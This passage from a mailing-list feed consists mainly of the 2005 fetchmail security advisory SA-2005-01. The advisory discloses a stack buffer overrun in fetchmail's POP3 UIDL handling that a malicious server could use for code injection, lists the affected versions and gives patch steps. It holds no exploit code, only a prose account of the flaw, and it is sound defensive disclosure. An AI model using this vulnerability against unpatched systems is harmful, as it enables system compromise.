&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt; &lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://www.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;signature.asc&lt;/strong&gt; (196 bytes) &lt;a href=&quot;http://www.nabble.com/attachment/509628/0/signature.asc&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/Cross-Site-Scripting-vulnerabilities-in-GForge-tp509628p509628.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-486239</id>
	<title>fetchmail security announcement fetchmail-SA-2005-01</title>
	<published>2005-07-26T09:44:08Z</published>
	<updated>2005-07-26T09:44:08Z</updated>
	<author>
		<name>Matthias Andree-2</name>
	</author>
	<content type="html">-----BEGIN PGP SIGNED MESSAGE-----
&lt;br&gt;Hash: SHA1
&lt;br&gt;&lt;br&gt;fetchmail-SA-2005-01: security announcement
&lt;br&gt;&lt;br&gt;Topic:		remote code injection vulnerability in fetchmail
&lt;br&gt;&lt;br&gt;Author:		Matthias Andree
&lt;br&gt;Version:	1.02
&lt;br&gt;Announced:	2005-07-21
&lt;br&gt;Type:		buffer overrun/stack corruption/code injection
&lt;br&gt;Impact:		account or system compromise possible through malicious
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; or compromised POP3 servers
&lt;br&gt;Danger:		high: in sensitive configurations, a full system
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; compromise is possible
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (for 6.2.5.1: denial of service for the whole fetchmail
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; system is possible)
&lt;br&gt;CVE Name:	CAN-2005-2335
&lt;br&gt;URL:		&lt;a href=&quot;http://fetchmail.berlios.de/fetchmail-SA-2005-01.txt&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://fetchmail.berlios.de/fetchmail-SA-2005-01.txt&lt;/a&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=212762&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=212762&lt;/a&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.vuxml.org/freebsd/3497d7be-2fef-45f4-8162-9063751b573a.html&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.vuxml.org/freebsd/3497d7be-2fef-45f4-8162-9063751b573a.html&lt;/a&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.vuxml.org/freebsd/3f4ac724-fa8b-11d9-afcf-0060084a00e5.html&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.vuxml.org/freebsd/3f4ac724-fa8b-11d9-afcf-0060084a00e5.html&lt;/a&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.freebsd.org/cgi/query-pr.cgi?pr=83805&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.freebsd.org/cgi/query-pr.cgi?pr=83805&lt;/a&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;a href=&quot;http://www.heise.de/security/news/meldung/62070&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.heise.de/security/news/meldung/62070&lt;/a&gt;&lt;br&gt;Thanks:		Edward J. Shornock (located the bug in UIDL code)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Miloslav Trmac (pointed out 6.2.5.1 was faulty)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Ludwig Nussel (provided minimal correct fix)
&lt;br&gt;&lt;br&gt;Affects:	fetchmail version 6.2.5.1 (denial of service)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fetchmail version 6.2.5 (code injection)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fetchmail version 6.2.0 (code injection)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; (other versions have not been checked)
&lt;br&gt;&lt;br&gt;Not affected:	fetchmail 6.2.5.2
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fetchmail 6.2.6-pre7
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fetchmail 6.3.0 &amp;nbsp; &amp;nbsp; &amp;nbsp;(not released yet)
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Older versions may not have THIS bug, but had been found
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; to contain other security-relevant bugs.
&lt;br&gt;&lt;br&gt;Corrected:	2005-07-22 01:37 UTC (SVN) - committed bugfix (r4157)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2005-07-22 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fetchmail-patch-6.2.5.2 released
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 2005-07-23 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fetchmail-6.2.5.2 tarball released
&lt;br&gt;&lt;br&gt;0. Release history
&lt;br&gt;&lt;br&gt;2005-07-20	1.00 - Initial announcement
&lt;br&gt;2005-07-22	1.01 - Withdrew 6.2.5.1 and 6.2.6-pre5, the fix was buggy
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;and susceptible to denial of service through
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;single-byte read from 0 when either a Message-ID:
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;header was empty (in violation of RFC-822/2822)
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;or the UIDL response did not contain an UID (in
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;violation of RFC-1939).
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Add Credits.
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Add 6.2.5.1 failure details to sections 2 and 3
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Revise section 5 and B.
&lt;br&gt;2005-07-26	1.02 - Revise section 0.
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Add FreeBSD VuXML URL for 6.2.5.1.
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Add heise security URL.
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;- Mention release of 6.2.5.2 tarball.
&lt;br&gt;&lt;br&gt;1. Background
&lt;br&gt;&lt;br&gt;fetchmail is a software package to retrieve mail from remote POP2, POP3,
&lt;br&gt;IMAP, ETRN or ODMR servers and forward it to local SMTP, LMTP servers or
&lt;br&gt;message delivery agents.
&lt;br&gt;&lt;br&gt;2. Problem description
&lt;br&gt;&lt;br&gt;The POP3 code in fetchmail-6.2.5 and older that deals with UIDs (from
&lt;br&gt;the UIDL) reads the responses returned by the POP3 server into
&lt;br&gt;fixed-size buffers allocated on the stack, without limiting the input
&lt;br&gt;length to the buffer size. A compromised or malicious POP3 server can
&lt;br&gt;thus overrun fetchmail's stack. &amp;nbsp;This affects POP3 and all of its
&lt;br&gt;variants, for instance but not limited to APOP.
&lt;br&gt;&lt;br&gt;In fetchmail-6.2.5.1, the attempted fix prevented code injection via
&lt;br&gt;POP3 UIDL, but introduced two possible NULL dereferences that can be
&lt;br&gt;exploited to mount a denial of service attack.
&lt;br&gt;&lt;br&gt;3. Impact
&lt;br&gt;&lt;br&gt;In fetchmail-6.2.5 and older, very long UIDs can cause fetchmail to
&lt;br&gt;crash, or potentially make it execute code placed on the stack. In some
&lt;br&gt;configurations, fetchmail is run by the root user to download mail for
&lt;br&gt;multiple accounts.
&lt;br&gt;&lt;br&gt;In fetchmail-6.2.5.1, a server that responds with UID lines containing
&lt;br&gt;only the article number but no UID (in violation of RFC-1939), or a
&lt;br&gt;message without Message-ID when no UIDL support is available, can crash
&lt;br&gt;fetchmail.
&lt;br&gt;&lt;br&gt;4. Workaround
&lt;br&gt;&lt;br&gt;No reasonable workaround can be offered at this time.
&lt;br&gt;&lt;br&gt;5. Solution
&lt;br&gt;&lt;br&gt;Upgrade your fetchmail package to version 6.2.5.2.
&lt;br&gt;&lt;br&gt;You can either download a complete tarball of fetchmail-6.2.5.2.tar.gz,
&lt;br&gt;or you can download a patch against fetchmail-6.2.5 if you already have
&lt;br&gt;the 6.2.5 tarball. Either is available from:
&lt;br&gt;&lt;br&gt;&amp;lt;&lt;a href=&quot;http://developer.berlios.de/project/showfiles.php?group_id=1824&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://developer.berlios.de/project/showfiles.php?group_id=1824&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;To use the patch:
&lt;br&gt;&lt;br&gt;&amp;nbsp; 1. download fetchmail-6.2.5.tar.gz (or retrieve the version you already
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;had downloaded) and fetchmail-patch-6.2.5.2.tar.gz
&lt;br&gt;&amp;nbsp; 2. unpack the tarball: gunzip -c fetchmail-6.2.5.tar.gz | tar xf -
&lt;br&gt;&amp;nbsp; 3. unpack the patch: gunzip fetchmail-patch-6.2.5.2.gz
&lt;br&gt;&amp;nbsp; 4. apply the patch: cd fetchmail-6.2.5 ; patch -p1 &amp;lt;../fetchmail-patch-6.2.5.2
&lt;br&gt;&amp;nbsp; 5. now configure and build as usual - detailed instructions in the file
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;named &amp;quot;INSTALL&amp;quot;.
&lt;br&gt;&lt;br&gt;A. References
&lt;br&gt;&lt;br&gt;fetchmail home page: &amp;lt;&lt;a href=&quot;http://fetchmail.berlios.de/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://fetchmail.berlios.de/&lt;/a&gt;&amp;gt;
&lt;br&gt;&lt;br&gt;B. Copyright, License and Warranty
&lt;br&gt;&lt;br&gt;(C) Copyright 2005 by Matthias Andree, &amp;lt;&lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=486239&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;matthias.andree@...&lt;/a&gt;&amp;gt;.
&lt;br&gt;Some rights reserved.
&lt;br&gt;&lt;br&gt;This work is licensed under the Creative Commons
&lt;br&gt;Attribution-NonCommercial-NoDerivs German License. To view a copy of
&lt;br&gt;this license, visit &lt;a href=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/de/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://creativecommons.org/licenses/by-nc-nd/2.0/de/&lt;/a&gt;&lt;br&gt;or send a letter to Creative Commons; 559 Nathan Abbott Way;
&lt;br&gt;Stanford, California 94305; USA.
&lt;br&gt;&lt;br&gt;THIS WORK IS PROVIDED FREE OF CHARGE AND WITHOUT ANY WARRANTIES.
&lt;br&gt;Use the information herein at your own risk.
&lt;br&gt;&lt;br&gt;END OF fetchmail-SA-2005-01.txt
&lt;br&gt;-----BEGIN PGP SIGNATURE-----
&lt;br&gt;Version: GnuPG v1.4.0 (GNU/Linux)
&lt;br&gt;&lt;br&gt;iD8DBQFC5lpIvmGDOQUufZURAlv1AKCUuwHKgC/lln+fhYgt8Ba6VxI1WQCgpmBj
&lt;br&gt;SLivUn3+6/zifjC4Hnaw0uc=
&lt;br&gt;=PebP
&lt;br&gt;-----END PGP SIGNATURE-----
&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/fetchmail-security-announcement-fetchmail-SA-2005-01-tp486239p486239.html" />
</entry>

</feed>
